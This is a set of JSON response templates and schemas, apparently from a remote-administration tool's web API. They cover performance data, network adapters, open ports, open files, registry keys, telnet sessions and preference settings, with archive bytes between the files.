				{"name": "scsi_id", "type": "number"},
				{"name": "scsi_lun", "type": "number"}
			]			
		},
		"data": [	   
		    <?if DRIVEMAP
		    	usemacro CommaInit()
				enum DRIVEMAP
					usemacro CommaDo()?>
					{					    
						"number":#HDD.NUMBER#,
						"caption":"#HDD.CAPTION#",
						"scsi_bus":#HDD.SCSI.BUS#,
						"scsi_id":#HDD.SCSI.ID#,
						"scsi_lun":#HDD.SCSI.LUN#
					}
				<?next
			endif?>		
		]
	},
	
	"partitions": {
		"schema": {
			"fields": [			    
				{"name": "hdd_size", "type": "string"},
				{"name": "hdd_signature", "type": "string"},
				{"name": "hdd_ctrl", "type": "string"},
				{"name": "hdd_bus", "type": "string"},
				{"name": "hdd_id", "type": "string"},
				{"name": "hdd_lun", "type": "string"},
				
				{"name": "device", "type": "number"},
				{"name": "drive", "type": "string"},
				{"name": "number", "type": "number"},
				{"name": "type", "type": "string"},
				{"name": "size", "type": "string"},
				{"name": "offset", "type": "number"},
				{"name": "bootable", "type": "string"},
				{"name": "volume", "type": "string"},
				{"name": "fsys", "type": "string"}
			]			
		},
		"data": [	   
		    <?if PARTS
		    	usemacro CommaInit()
				enum PARTS
					usemacro CommaDo()?>
					{					    
						"hdd_size":"<?#HDD.SIZE _szm?>",
						"hdd_signature":"#HDD.SIGNATURE#",
						"hdd_ctrl":"#HDD.CTRL#",
						"hdd_bus":"#HDD.BUS#", 
						"hdd_id":"#HDD.ID#",
						"hdd_lun":"#HDD.LUN#",
						
						"device":#PART.DEVICE#,
						"drive":"#PART.DRIVE#",
						"number":#PART.NUMBER#,
						"type":"#PART.TYPE#",
						"size":"<?#PART.SIZE _szm?>",
						"offset":#PART.OFFSET#,
						"bootable":"#PART.BOOTABLE#",
						"volume":"#PART.VOLUME#",
						"fsys":"#PART.FSYS#"						
					}
				<?next
			endif?>		
		]
	},
	
	"volumes": {
		"schema": {
			"fields": [			    
				{"name": "name", "type": "string"},
				{"name": "mounts", "type": "string"},
				{"name": "devices", "type": "string"},
				{"name": "fsys", "type": "string"},
				{"name": "size", "type": "string"},
				{"name": "free", "type": "string"},
				{"name": "usedp", "type": "number"}
			]			
		},
		"data": [	   
		    <?if VOLS
		    	usemacro CommaInit()
				enum VOLS
					usemacro CommaDo()?>
					{					    
						"name":"#VOL.NAME#",
						"mounts":"#VOL.MOUNTS#",
						"devices":"#VOL.DEVICES#",
						"fsys":"#VOL.FSYS#",
						"size":"<?#VOL.SIZE _szm?>",
						"free":"<?#VOL.FREE _szm?>",
						"usedp":#VOL.USEDP#
					}
				<?next
			endif?>		
		]
	}
	
},
"lang":{}
}g2api\perfinfo\memload.json<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?include "/api/perfinfo/perf.macro"?>
<?
	// Sort out wrong platforms
	usemacro NOMAC()
	usemacro NOFREE()

	if not REQ.TYPE
		set TYPE = "mem"
	else 
		set TYPE = REQ.TYPE
	endif
	
?>{"result": {

	"memload": [
		<?usemacro PERF(TYPE,"",0)?>,
		<?usemacro PERF(TYPE,"",1)?>,
		<?usemacro PERF(TYPE,"",2)?>,
		<?usemacro PERF(TYPE,"",3)?>			
	]
	
},
"lang":{}
}	|ao6api\perfinfo\memload.schema֨{ 
    "result": {
        
        "memload": {            
            "_type": "array",                
            "_element": {                    
                "stat": {                        
		             "freq": { "_type": "string" },
		             "min":  { "_type": "number" },
		             "max":  { "_type": "number" },
		             "avg":  { "_type": "number" },
		             "unit": { "_type": "string" }
                },
                "graph": {
                    "_type": "array", "_notempty": true,
                    "_element": {
                        "line": { "_type": "number" },
                        "data": { "_type": "number" },
                        "time": { "_type": "string" }                                
                    }                        
                }
            }
        }
        
    },
    
    "lang": {}
}
	:api\perfinfo\netadapters.jsonE<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?
	// Sort out wrong platforms
	usemacro NOMAC()
	usemacro NOFREE()
	
?>{"result": {

	"adapters": [	   
		<?action "netlist"
		usemacro ERRORHANDLER()
		
		usemacro CommaInit()
		enum ADAPTERS 
			usemacro CommaDo()?>
			{				
				"index": <?usemacro NUMBER(ADAPTER.INDEX)?>,
				"name": "#ADAPTER.NAME#",
				"type": "#ADAPTER.TYPE#",
				"mac": "#ADAPTER.MAC#",
				"speed": <?usemacro FORMAT.SZ(ADAPTER.SPEED)?>,
				"octrcvd": <?usemacro FORMAT.SZ(ADAPTER.OCTRCVD)?>,
				"octsent": <?usemacro FORMAT.SZ(ADAPTER.OCTSENT)?>,
				"ipaddr": "#IP.ADDR#",
				"ipmask": "#IP.MASK#"
			}
		<? next	?>
						
	],

	"adapterIds": [	   
		<?action "perfmon" REQ.TYPE = "neti"
		usemacro ERRORHANDLER()
		
		usemacro CommaInit()
		enum ADAPTERS
			usemacro CommaDo()?>
			{				
				"index": <?usemacro NUMBER(ADAPTER.INDEX)?>,
				"name": "#ADAPTER.NAME#"
			}
		<? next	?>
	]

},
"lang":{}
}	<`x>api\perfinfo\netadapters.schema6l{ 
    "result": {
        
        "adapters": {
            "_type": "array", "_notempty": true,                
            "_element": {                    
                "index": { "_type": "number" },
                "name":  { "_type": "string" },
                "type": { "_type": "string" },
                "mac": { "_type": "string" },
                "speed": { "_type": "string" },
                "octrcvd": { "_type": "string" },
                "octsent": { "_type": "string" },
                "ipaddr": { "_type": "string" },
                "ipmask": { "_type": "string" }
            }                                
        },
        "adapterIds": {
            "_type": "array", "_notempty": true,                
            "_element": {                    
                "index": { "_type": "number" },
                "name":  { "_type": "string" }
            }                                
        }
        
    },
    
    "lang": {}
}
b0api\perfinfo\netmon.jsonj$<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?include "/api/perfinfo/perf.macro"?>
<?
	// Sort out wrong platforms
	usemacro NOMAC()
	usemacro NOFREE()
	
	if not REQ.TYPE
		set TYPE = "neti"
	else 
		set TYPE = REQ.TYPE
	endif
	
	if not REQ.INDEX
		set INDEX = -1
	else 
		set INDEX = REQ.INDEX
	endif

?>{"result": {

	<?	
	// This is required to perfcfg to work correctly.	
	action "perfmon" REQ.TYPE = "neti"
	usemacro ERRORHANDLER()
				
	// Some previous action has declared a STAT.NAME, we will use that and hope that it is based on the index in the request.
	// Problem is that the adapter with an id of -1 (Summa Total) doesn't have a STAT.NAME
	action "perfcfg" REQ.ADAPTER.NAME = STAT.NAME REQ.INDEX = INDEX REQ.TYPE = TYPE
	?>
	
    <? if TYPE == "neti" ?>		
		"maxvalue":<?usemacro NUMBER(ADAPTER.BPSI)?>,
    <? else ?>		
		"maxvalue":<?usemacro NUMBER(ADAPTER.BPSO)?>,
	<? endif ?>
	
	"netload": [
		<?usemacro PERF(TYPE,INDEX,0)?>,
		<?usemacro PERF(TYPE,INDEX,1)?>,
		<?usemacro PERF(TYPE,INDEX,2)?>,
		<?usemacro PERF(TYPE,INDEX,3)?>
	]
	
},
"lang":{}
}	-4api\perfinfo\netmon.schemai/{ 
    "result": {
        
		"maxvalue": { "_type": "number" },
			
        "netload": {            
            "_type": "array",                
            "_element": {                    
                "stat": {                        
		             "freq": { "_type": "string" },
		             "min":  { "_type": "number" },
		             "max":  { "_type": "number" },
		             "avg":  { "_type": "number" },
		             "unit": { "_type": "string" }
                },
                "graph": {
                    "_type": "array", "_notempty": true,
                    "_element": {
                        "line": { "_type": "number" },
                        "data": { "_type": "number" },
                        "time": { "_type": "string" }                                
                    }                        
                }
            }
        }
        
    },
    
    "lang": {}
}
=6api\perfinfo\openfiles.json<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?
	// Sort out wrong platforms
	usemacro NOMAC()
	usemacro NOFREE()
	
	// ??? no idea what this is for
	//set REQ.MERGE = "1"  

	// Default values until we figure out how to save this on the server
	if not REQ.IDX
		set REQ.IDX = "0"
	endif
	
	if not REQ.CNT
		set REQ.CNT = "10"
	endif
	
	// Call the action, we expect that it will return the list of open files
	action "objlist" REQ.SHOWFILE = "1"
	
	// Handle errors if the action failed
	usemacro ERRORHANDLER()
	
	// Now write out the data
	?> 
{"result": {

	"openfiles": {
		"schema": {
			"fields": [			    
				{"name": "name", "type": "string"},
				{"name": "procname", "type": "string"},
				{"name": "procid", "type": "string"}
			]			
		},
		"data": [<?			
			usemacro CommaInit()
			enum OBJECTS 
				usemacro CommaDo()?>
				{				
					"name": "#OBJECT.NAME#",
					"procname": "#OBJECT.PROCNAME#",
					"procid": "#OBJECT.PROCID#"
				}
			<? next	?>							
		]
	},

	"pageinfo": {
		"schema": {
			"fields": [			    
				{"name": "count", "type": "string"},
				{"name": "home", "type": "string"},
				{"name": "prev", "type": "string"},
				{"name": "next", "type": "string"},
				{"name": "last", "type": "string"},
				{"name": "current", "type": "string"}
			]			
		},
		"data": [
			{				
				"count": "#PAGE.COUNT#",
				"home": "#PAGE.HOME#",
				"prev": "#PAGE.PREV#",
				"next": "#PAGE.NEXT#",
				"last": "#PAGE.LAST#",
				"current": "#PAGE.CURRENT#"
			}
		]
	},
	
	"pages": {
		"schema": {
			"fields": [			    
				{"name": "idx", "type": "number"},
				{"name": "num", "type": "number"},
				{"name": "str", "type": "string"}
			]			
		},
		"data": [<?			
			usemacro CommaInit()
			enum PAGES 
				usemacro CommaDo()?>
				{				
					"idx": #PAGE.IDX#,
					"num": #PAGE.NUM#,
					"str": "#PAGE.STR#"
				}
			<? next	?>							
		]
	}
	
},
"lang":{}
}	(.api\perfinfo\perf.macror˦<?ratmpl?><?nocache?><?

// ==================================================
// 		Performance data macro
// ==================================================
	
defmacro PERF(TYPE,INDEX,RES)

	action "perfmon" REQ.TYPE = TYPE REQ.INDEX = INDEX REQ.RES = RES?>
	{
     	"stat" : {
	 	    "freq": "<?if STAT.FREQ?><?#STAT.FREQ _spn?><?endif?>",
	 	    "min": #STAT.MIN#,
	 	    "max": #STAT.MAX#,
	 	    "avg": #STAT.AVG#,
	 	    "unit": <?if STAT.UNIT?>"#STAT.UNIT#"<?else?>"%"<?endif?>
     	},
     	"graph" : [
			<?if SAMPLES	
				set first = 1
				enum SAMPLES
					if first == "1" 
						set first = 0 
						?>			
					<?else?>, 
					<? endif ?>
					{					    
						"line": #SAMPLE.L#,
						"data": #SAMPLE.DATA#, 
						"time": "<?if SAMPLE.TIME?><?#SAMPLE.TIME _dtms?><?endif?>"
					}			 
				<?next		
			endif?>
		]
	}
<?endmacro?>.4api\perfinfo\portlist.json@<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?
	// Sort out wrong platforms
	usemacro NOMAC()
	usemacro NOFREE()
	
	if not REQ.SHOWL and not REQ.SHOWC and not REQ.SHOWO
		set REQ.SHOWC = "1"
	endif
	
	if not REQ.SORT
		set REQ.SORT = "pa"
	endif
	

	action "portlist"	
	usemacro ERRORHANDLER()

?>{"result": {

	"ports": {
		"schema": {
			"fields": [			    
				{"name": "type", "type": "string"},
				{"name": "state", "type": "string"},
				{"name": "proc_id", "type": "number"},
				{"name": "proc_path", "type": "string"},
				{"name": "proc_name", "type": "string"},
				{"name": "adapter", "type": "string"},
				
				{"name": "local_host", "type": "string"},
				{"name": "local_addr", "type": "string"},
				{"name": "local_name", "type": "string"},
				{"name": "local_port", "type": "number"},
				
				{"name": "remote_host", "type": "string"},
				{"name": "remote_addr", "type": "string"},
				{"name": "remote_name", "type": "string"},
				{"name": "remote_port", "type": "number"}
			]			
		},
		"data": [	   
		    <?if PORTS > 0
		    	usemacro CommaInit()
				enum PORTS
					usemacro CommaDo()?>
					{					    
						"type":"#PORT.TYPE#",
						"state":"#PORT.STATE#",
						"proc_id":<?usemacro NUMBER(PROC.ID)?>,
						"proc_path":"#PROC.PATH#",
						"proc_name":"#PROC.NAME#",
						"adapter":"#PORT.ADAPTER#",
						
						"local_host":"#LOCAL.HOST#",
						"local_addr":"#LOCAL.ADDR#",
						"local_name":"#LOCAL.NAME#",
						"local_port":<?usemacro NUMBER(LOCAL.PORT)?>,
						
						"remote_host":"#REMOTE.HOST#",
						"remote_addr":"#REMOTE.ADDR#",
						"remote_name":"#REMOTE.NAME#",
						"remote_port":<?usemacro NUMBER(REMOTE.PORT)?>
					}
				<?next
			endif?>		
		]
	}
	
},
"lang":{}
}
Rv2api\perfinfo\regkeys.jsonh<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?
	// Sort out wrong platforms
	usemacro NOMAC()
	usemacro NOFREE()
	
	// ??? no idea what this is for
	//set REQ.MERGE = "1"  

	// Default values until we figure out how to save this on the server
	if not REQ.IDX
		set REQ.IDX = "0"
	endif
	
	if not REQ.CNT
		set REQ.CNT = "10"
	endif
	
	// Call the action, we expect that it will return the list of registry keys
	action "objlist" REQ.SHOWREGK = "1"
	
	// Handle errors if the action failed
	usemacro ERRORHANDLER()
	
	// Now write out the data
	?> 
{"result": {

	"regkeys": {
		"schema": {
			"fields": [			    
				{"name": "name", "type": "string"},
				{"name": "procname", "type": "string"},
				{"name": "procid", "type": "string"}
			]			
		},
		"data": [<?			
			usemacro CommaInit()
			enum OBJECTS 
				usemacro CommaDo()?>
				{				
					"name": "#OBJECT.NAME#",
					"procname": "#OBJECT.PROCNAME#",
					"procid": "#OBJECT.PROCID#"
				}
			<? next	?>							
		]
	},

	"pageinfo": {
		"schema": {
			"fields": [			    
				{"name": "count", "type": "string"},
				{"name": "home", "type": "string"},
				{"name": "prev", "type": "string"},
				{"name": "next", "type": "string"},
				{"name": "last", "type": "string"},
				{"name": "current", "type": "string"}
			]			
		},
		"data": [
			{				
				"count": "#PAGE.COUNT#",
				"home": "#PAGE.HOME#",
				"prev": "#PAGE.PREV#",
				"next": "#PAGE.NEXT#",
				"last": "#PAGE.LAST#",
				"current": "#PAGE.CURRENT#"
			}
		]
	},
	
	"pages": {
		"schema": {
			"fields": [			    
				{"name": "idx", "type": "number"},
				{"name": "num", "type": "number"},
				{"name": "str", "type": "string"}
			]			
		},
		"data": [<?			
			usemacro CommaInit()
			enum PAGES 
				usemacro CommaDo()?>
				{				
					"idx": #PAGE.IDX#,
					"num": #PAGE.NUM#,
					"str": "#PAGE.STR#"
				}
			<? next	?>							
		]
	}
	
},
"lang":{}
}		E]8api\perfinfo\telnetconn.json<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?
	// Sort out wrong platforms
	usemacro NOMAC()
	usemacro NOFREE()
	usemacro NOLMI()
	
	if REQ.OP and not REQ.SID
		usemacro ERROR("Missing SID")
	endif

	action "telnetconn"	
	usemacro ERRORHANDLER()

?>{"result": {

	"connections": {
		"data": [	   
		    <?if SESSIONS
		    	usemacro CommaInit()
				enum SESSIONS
					usemacro CommaDo()?>
					{					    
						"id":<?usemacro NUMBER(SESSION.ID)?>,
						"connected":<?usemacro BOOL(SESSION.CONNECTED)?>,
						"username":"#SESSION.USERNAME#",
						"ip":"#SESSION.IP#",
						"start":"<?#SESSION.START _dtms?>",
						"proto":"#SESSION.PROTO#",
						"emulation":"#SESSION.EMULATION#",
						"windowx":<?usemacro NUMBER(SESSION.WINDOWX)?>,
						"windowy":<?usemacro NUMBER(SESSION.WINDOWY)?>,
						"expire":"#SESSION.EXPIRE#",
						"expirein":"<?if SESSION.EXPIRE?><?#SESSION.EXPIRE_in?><?endif?>",
						"kick":<?usemacro BOOL(SESSION.KICK)?>,
						"kill":<?usemacro BOOL(SESSION.KILL)?>,
						"sshchannels":"#SESSION.SSHCHANNELS#"
					}
				<?next
			endif?>		
		]
	}
	
},
"lang":{}
}OC<api\perfinfo\telnetconn.schema71{ 
    "result": {
        
        "connections": {
            "schema" : { "_required": false },               
            "data": {
                "_type": "array", "_notempty": false,                
                "_element": {                    
                    "id": { "_type": "number" },
                    "connected": { "_type": "bool" },
                    "username": { "_type": "string" },
                    "start": { "_type": "string" },
                    "proto": { "_type": "string" },
                    "emulation": { "_type": "string" },
                    "windowx": { "_type": "number" },
                    "windowy": { "_type": "number" },
                    "expire": { "_type": "string" },
                    "expirein": { "_type": "string" },
                    "kick": { "_type": "bool" },
                    "kill": { "_type": "bool" },
                    "sshchannels": { "_type": "string" }
                }                                
            }
        }
        
	},	
    "lang": {}
}
am6=:api\preferences\advanced.jsonE
R+<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NORA()

	if REQ.HTTPMETHOD == "PUT"
		set REQ.OP = "update"
	endif
	
	action "prefadvanced"
	usemacro ERRORHANDLER()

?>{"result": {

	"WolFromSleepEnabled": <?usemacro BOOL(WolFromSleepEnabled)?>,
	"WolFromSleepEnabled_locked": <?usemacro BOOL(WolFromSleepEnabled.LOCKED)?>,	
	"IdleTimeOut": <?usemacro FORMAT.SPN(IdleTimeOut)?>,
	"IdleTimeOut_locked": <?usemacro BOOL(IdleTimeOut.LOCKED)?>,	
	"FileXferCompr": "#FileXferCompr#",
	"FileXferCompr_locked": <?usemacro BOOL(FileXferCompr.LOCKED)?>,
	
	"ProxyAddr": "#ProxyAddr#",
	"ProxyAddr_locked": <?usemacro BOOL(ProxyAddr.LOCKED)?>,
	"ProxyPort": "#ProxyPort#",
	"ProxyPort_locked": <?usemacro BOOL(ProxyPort.LOCKED)?>,
	"ProxyUsername": "#ProxyUsername#",
	"ProxyUsername_locked": <?usemacro BOOL(ProxyUsername.LOCKED)?>,
	"ProxyPassword": <?if ProxyPassword?>true<?else?>false<?endif?>,
	"ProxyPassword_locked": <?usemacro BOOL(ProxyPassword.LOCKED)?>,

	"SndCaptureDeviceToUse": "#SndCaptureDeviceToUse#",
	"SndCaptureDeviceToUse_locked": <?usemacro BOOL(SndCaptureDeviceToUse.LOCKED)?>,
	"SndInputLineToUse": "#SndInputLineToUse#",
	"SndInputLineToUse_locked": <?usemacro BOOL(SndInputLineToUse.LOCKED)?>,

	"ForceBitmapPrinting": <?usemacro BOOL(ForceBitmapPrinting)?>,
	"ForceBitmapPrinting_locked": <?usemacro BOOL(ForceBitmapPrinting.LOCKED)?>,	

	"LogDirectory": "#LogDirectory#",
	"LogDirectory_locked": <?usemacro BOOL(LogDirectory.LOCKED)?>,
	"ArchivalDays": <?usemacro NUMBER(ArchivalDays)?>,
	"ArchivalDays_locked": <?usemacro BOOL(ArchivalDays.LOCKED)?>,
	"DebugLog": <?usemacro BOOL(DebugLog)?>,
	"DebugLog_locked": <?usemacro BOOL(DebugLog.LOCKED)?>,
	
	"EnableScreenRecording": <?usemacro BOOL(EnableScreenRecording)?>,
	"EnableScreenRecording_locked": <?usemacro BOOL(EnableScreenRecording.LOCKED)?>,	
	"AutoConvertAVI": <?usemacro BOOL(AutoConvertAVI)?>,
	"AutoConvertAVI_locked": <?usemacro BOOL(AutoConvertAVI.LOCKED)?>,	
	"ScreenRecordingDirectory": "#ScreenRecordingDirectory#",
	"ScreenRecordingDirectory_locked": <?usemacro BOOL(ScreenRecordingDirectory.LOCKED)?>,
	"ScreenRecordingSizeLimited": <?usemacro BOOL(ScreenRecordingSizeLimited)?>,
	"ScreenRecordingSizeLimited_locked": <?usemacro BOOL(ScreenRecordingSizeLimited.LOCKED)?>,	
	"ScreenRecordingSize": <?usemacro NUMBER(ScreenRecordingSize)?>,
	"ScreenRecordingSize_locked": <?usemacro BOOL(ScreenRecordingSize.LOCKED)?>,

	"VersionCheck": <?usemacro BOOL(VersionCheck)?>,
	"VersionCheck_locked": <?usemacro BOOL(VersionCheck.LOCKED)?>,	
	"AutoStartUpdate": <?usemacro BOOL(AutoStartUpdate)?>,
	"AutoStartUpdate_locked": <?usemacro BOOL(AutoStartUpdate.LOCKED)?>,	

	"CrashDumpInfo": <?usemacro NUMBER(CrashDumpInfo)?>,
	"CrashDumpInfo_locked": <?usemacro BOOL(CrashDumpInfo.LOCKED)?>,
	
	"sound_devices": [
	    <?if SOUNDDEVICES
	    	usemacro CommaInit()
			enum SOUNDDEVICES
				usemacro CommaDo()?>
				{					    
					"name": "#SoundCaptureDevice.name#",
					"guid": "#SoundCaptureDevice.guid#"
				}
			<?next
		endif?>		
	],			
	"sound_inputlines": [
	    <?if SOUNDINPUTLINES
	    	usemacro CommaInit()
			enum SOUNDINPUTLINES
				usemacro CommaDo()?>
				{					    
					"name": "#SoundInputDevice.name#"
				}
			<?next
		endif?>		
	]			
			
},
"lang":{}
}
5>api\preferences\advanced.schemaDy{"result": {

	"WolFromSleepEnabled": { "_type": "bool" },
	"WolFromSleepEnabled_locked": { "_type": "bool" },
	"IdleTimeOut": { "_type": "string" },
	"IdleTimeOut_locked": { "_type": "bool" },
	"FileXferCompr": { "_type": "string" },
	"FileXferCompr_locked": { "_type": "bool" },
	
	"ProxyAddr": { "_type": "string" },
	"ProxyAddr_locked": { "_type": "bool" },
	"ProxyPort": { "_type": "string" },
	"ProxyPort_locked": { "_type": "bool" },
	"ProxyUsername": { "_type": "string" },
	"ProxyUsername_locked": { "_type": "bool" },
	"ProxyPassword": { "_type": "bool" },
	"ProxyPassword_locked": { "_type": "bool" },

	"SndCaptureDeviceToUse": { "_type": "string" },
	"SndCaptureDeviceToUse_locked": { "_type": "bool" },
	"SndInputLineToUse": { "_type": "string" },
	"SndInputLineToUse_locked": { "_type": "bool" },

	"ForceBitmapPrinting": { "_type": "bool" },
	"ForceBitmapPrinting_locked": { "_type": "bool" },

	"LogDirectory": { "_type": "string" },
	"LogDirectory_locked": { "_type": "bool" },
	"ArchivalDays": { "_type": "number" },
	"ArchivalDays_locked": { "_type": "bool" },
	"DebugLog": { "_type": "bool" },
	"DebugLog_locked": { "_type": "bool" },
	
	"EnableScreenRecording": { "_type": "bool" },
	"EnableScreenRecording_locked": { "_type": "bool" },
	"AutoConvertAVI": { "_type": "bool" },
	"AutoConvertAVI_locked": { "_type": "bool" },
	"ScreenRecordingDirectory": { "_type": "string" },
	"ScreenRecordingDirectory_locked": { "_type": "bool" },
	"ScreenRecordingSizeLimited": { "_type": "bool" },
	"ScreenRecordingSizeLimited_locked": { "_type": "bool" },
	"ScreenRecordingSize": { "_type": "number" },
	"ScreenRecordingSize_locked": { "_type": "bool" },

	"VersionCheck": { "_type": "bool" },
	"VersionCheck_locked": { "_type": "bool" },
	"AutoStartUpdate": { "_type": "bool" },
	"AutoStartUpdate_locked": { "_type": "bool" },

	"CrashDumpInfo": { "_type": "number" },
	"CrashDumpInfo_locked": { "_type": "bool" },
	
	"sound_devices" : {
		"_type": "array",
		"_element": {
			"name": { "_type": "string" },
			"guid": { "_type": "string" }
		}
	},
	"sound_inputlines" : {
		"_type": "array",
		"_element": {
			"name": { "_type": "string" }
		}
	}							
								
},
"lang":{}
}WW>api\preferences\advancedra.json<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOLMI()
	usemacro NOMAC()
	usemacro NOFREE()

	if REQ.HTTPMETHOD == "PUT"
		set REQ.OP = "update"
	endif
	
	if REQ.LANG
		set session LANG = REQ.LANG
	endif

	action "cfgadvanced"
	usemacro ERRORHANDLER()

?>{"result": {

	"DisableHTML": <?usemacro BOOL(DisableHTML)?>,
	"DisconnectExisting": <?usemacro BOOL(DisconnectExisting)?>,
	"UserWarningNoClose": <?usemacro BOOL(UserWarningNoClose)?>,
	"ForceBitmapPrinting": <?usemacro BOOL(ForceBitmapPrinting)?>,
	
	"DebugLog": <?usemacro BOOL(DebugLog)?>,
	
	"NoHttpCompr": <?usemacro BOOL(NoHttpCompr)?>,
	"NoHttpComprWap": <?usemacro BOOL(NoHttpComprWap)?>,
	
	"CrashDumpInfo": "#CrashDumpInfo#",
	
	"CustomLogo": <?usemacro BOOL(CustomLogo)?>,
	"CustomMsg": "#CustomMsg#",

	"lang": "#lang#"
			
},
"lang":{}
}
\Bapi\preferences\advancedra.schema<{"result": {

	"DisableHTML": { "_type": "bool" },
	"DisconnectExisting": { "_type": "bool" },
	"UserWarningNoClose": { "_type": "bool" },
	"ForceBitmapPrinting": { "_type": "bool" },
	
	"DebugLog": { "_type": "bool" },
	
	"NoHttpCompr": { "_type": "bool" },
	"NoHttpComprWap": { "_type": "bool" },
	
	"CrashDumpInfo": { "_type": "string" },
	
	"CustomLogo": { "_type": "bool" },
	"CustomMsg": { "_type": "string" },

	"lang": { "_type": "string" }
			
},
"lang":{}
}Oa>api\preferences\appearance.json<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NOLMI()
	usemacro NOMAC()
	usemacro NOFREE()

	if REQ.HTTPMETHOD == "PUT"
		set REQ.OP = "update"
	endif
	
	action "cfgappearance"
	usemacro ERRORHANDLER()

?>{"result": {

	"EnableSystray": <?usemacro BOOL(EnableSystray)?>,
	"EnableSystray_locked": <?usemacro BOOL(EnableSystray.LOCKED)?>,	
	"KioskMode": <?usemacro BOOL(KioskMode)?>,
	"KioskMode_locked": <?usemacro BOOL(KioskMode.LOCKED)?>,	
	"CustomDirectory": "#CustomDirectory#",
	"CustomDirectory_locked": <?usemacro BOOL(CustomDirectory.LOCKED)?>,	
	"CustomDefaultPage": "#CustomDefaultPage#",
	"CustomDefaultPage_locked": <?usemacro BOOL(CustomDefaultPage.LOCKED)?>

},
"lang":{}
}`=Bapi\preferences\appearance.schema{"result": {

	"EnableSystray": { "_type": "bool" },
	"EnableSystray_locked": { "_type": "bool" },
	"KioskMode": { "_type": "bool" },
	"KioskMode_locked": { "_type": "bool" },
	"CustomDirectory": { "_type": "string" },
	"CustomDirectory_locked": { "_type": "bool" },
	"CustomDefaultPage": { "_type": "string" },
	"CustomDefaultPage_locked": { "_type": "bool" }

},
"lang":{}
}&ѩ<api\preferences\countries.json&<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	

	action "ctrylist"
	usemacro ERRORHANDLER()
	
	action "usstatelist"
	usemacro ERRORHANDLER()

?>{"result": {

	"countries": [
	    <?if COUNTRIES
	    	usemacro CommaInit()
			enum COUNTRIES
				usemacro CommaDo()?>
				{					    
					"name": "#COUNTRY.NAME#",
					"code2": "#COUNTRY.CODE2#",
					"code3": "#COUNTRY.CODE3#"
				}
			<?next
		endif?>		
	],		

	"usstates": [
	    <?if USSTATES
	    	usemacro CommaInit()
			enum USSTATES
				usemacro CommaDo()?>
				{					    
					"name": "#USSTATE.NAME#",
					"code": "#USSTATE.CODE#"
				}
			<?next
		endif?>		
	]			

},
"lang":{}
}
`{@api\preferences\countries.schemaUu{"result": {

	"countries" : {
		"_type": "array",
		"_element": {
			"name": { "_type": "string" },
			"code2": { "_type": "string" },
			"code3": { "_type": "string" }
		}
	},

	"usstates" : {
		"_type": "array",
		"_element": {
			"name": { "_type": "string" },
			"code": { "_type": "string" }
		}
	}

},
"lang":{}
}/8api\preferences\general.json	<<?ratmpl?>
<?nocache?>
<?include "/api/common.macro"?>
<?	
	// Sort out wrong platforms
	usemacro NORA()

	if REQ.HTTPMETHOD == "PUT"
		set REQ.OP = "update"
	endif
	
	action "prefgeneral"
	usemacro ERRORHANDLER()

?>{"result": {

	"DisableWallpaper": <?usemacro BOOL(DisableWallpaper)?>,
	"DisableWallpaper_locked": <?usemacro BOOL(DisableWallpaper.LOCKED)?>,
	"UseMirrorDriver": <?usemacro BOOL(UseMirrorDriver)?>,
	"UseMirrorDriver_locked": <?usemacro BOOL(UseMirrorDriver.LOCKED)?>,
	"BlockRemoteInput": <?usemacro BOOL(BlockRemoteInput)?>,	
	"BlockRemoteInput_locked": <?usemacro BOOL(BlockRemoteInput.LOCKED)?>,
	"CtrlAltDelHotkey": "#CtrlAltDelHotkey#",	
	"CtrlAltDelHotkey_locked": <?usemacro BOOL(CtrlAltDelHotkey.LOCKED)?>,
	"AskForPermission": <?usemacro BOOL(AskForPermission)?>,
	"AskForPermission_locked": <?usemacro BOOL(AskForPermission.LOCKED)?>,
	"PermissionText": "#PermissionText#",	
	"PermissionText_locked": <?usemacro BOOL(PermissionText.LOCKED)?>,
	"PermissionTimeout": <?usemacro FORMAT.SPN(PermissionTimeout)?>,	
	"PermissionTimeout_locked": <?usemacro BOOL(PermissionTimeout.LOCKED)?>,
	"AskForPermissionDefault": <?usemacro BOOL(AskForPermissionDefault)?>,	
	"AskForPermissionDefault_locked": <?usemacro BOOL(AskForPermissionDefault.LOCKED)?>,
	"FullCtrlBypassUsrPerm": <?usemacro BOOL(FullCtrlBypassUsrPerm)?>,	
	"FullCtrlBypassUsrPerm_locked": <?usemacro BOOL(FullCtrlBypassUsrPerm.LOCKED)?>,
	"AskForPermExcept": <?usemacro BOOL(AskForPermExcept)?>,
	"AskForPermExcept_locked": <?usemacro BOOL(AskForPermExcept.LOCKED)?>,
	"LockConsoleAlways": <?usemacro BOOL(LockConsoleAlways)?>,
	"LockConsoleAlways_locked": <?usemacro BOOL(LockConsoleAlways.LOCKED)?>,
	"LockConsole": <?usemacro BOOL(LockConsole)?>,
	"LockConsole_locked": <?usemacro BOOL(LockConsole.LOCKED)?>,
	"LockConsoleTimeout": <?usemacro BOOL(LockConsoleTimeout)?>,
	"LockConsoleTimeout_locked": <?usemacro BOOL(LockConsoleTimeout.LOCKED)?>,
	"EnableSystray": <?usemacro BOOL(EnableSystray)?>,
	"EnableSystray_locked": <?usemacro BOOL(EnableSystray.LOCKED)?>,
	"KioskMode": <?usemacro BOOL(KioskMode)?>,
	"KioskMode_locked": <?usemacro BOOL(KioskMode.LOCKED)?>,
	"Language": "#Language#",	
	"Language_locked": <?usemacro BOOL(Language.LOCKED)?>
			
},
"lang":{}
}
:D'<api\preferences\general.schema{"result": {

	"DisableWallpaper": { "_type": "bool" },
	"DisableWallpaper_locked": { "_type": "bool" },
	"UseMirrorDriver": { "_type": "bool" },
	"UseMirrorDriver_locked": { "_type": "bool" },
	"BlockRemoteInput": { "_type": "bool" },
	"BlockRemoteInput_locked": { "_type": "bool" },
	"CtrlAltDelHotkey": { "_type": "string" },
	"CtrlAltDelHotkey_locked": { "_type": "bool" },
